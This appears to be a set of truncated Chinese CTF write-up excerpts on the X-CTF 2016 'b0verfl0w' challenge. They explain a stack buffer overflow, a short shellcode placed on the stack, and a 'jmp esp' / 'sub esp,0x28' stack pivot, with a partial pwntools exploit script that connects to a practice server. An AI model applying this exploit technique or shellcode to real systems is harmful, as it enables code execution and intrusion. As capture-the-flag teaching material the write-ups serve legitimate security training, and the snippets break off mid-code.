x_ctf_b0verfl0w 只开启了Partial RELRO,意味着每次加载都栈的基址都不一样 用ida打开,vul函数存在栈溢出 但是fgets只能输入50个字节,padding就0x20个字节了,再加上fake ebp的4个字节和ret的4个字节,剩余10字节,无法写入shellcode,那么我们可以考虑在栈的初始位置布置一段shellcode,然后让程序跳转到栈的起始处执...
x_ctf_b0verfl0w exp from pwn import * context.binary = './b0verfl0w' #io = process('./b0verfl0w') io = remote('node3.buuoj.cn','27459') jmp_esp = 0x8048504 shellcode = "\x68\xcd\x80\x68\x68\xeb\xfc\x68" shellcode += "\x6a\x0b\x58\x31\xd2\x52\x68\x2f" shellcode ...
2.首先在本地运行一下对比一下源码效果 signed int vul() { char s; // [sp+18h] [bp-20h]@1 puts("\n==="); puts("\nWelcome to X-CTF 2016!"); puts("\n==="); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); // printf("Hello %s.", &s); fflush(...
ret:pop eip;jmp 同上面一样,esp也是-4,指向eip后面的内存单元,pop eip需要使esp-4也没有反应过来 到此,esp指向eip后面的单元,esp-0x28(0x20(数组长度) + 0x4(ebp) + 0x4(eip))到了数组start,也就是shellcode起始处,jmp esp即开始运行shellcode payload += asm('sub esp,0x28;jmp esp') io.send...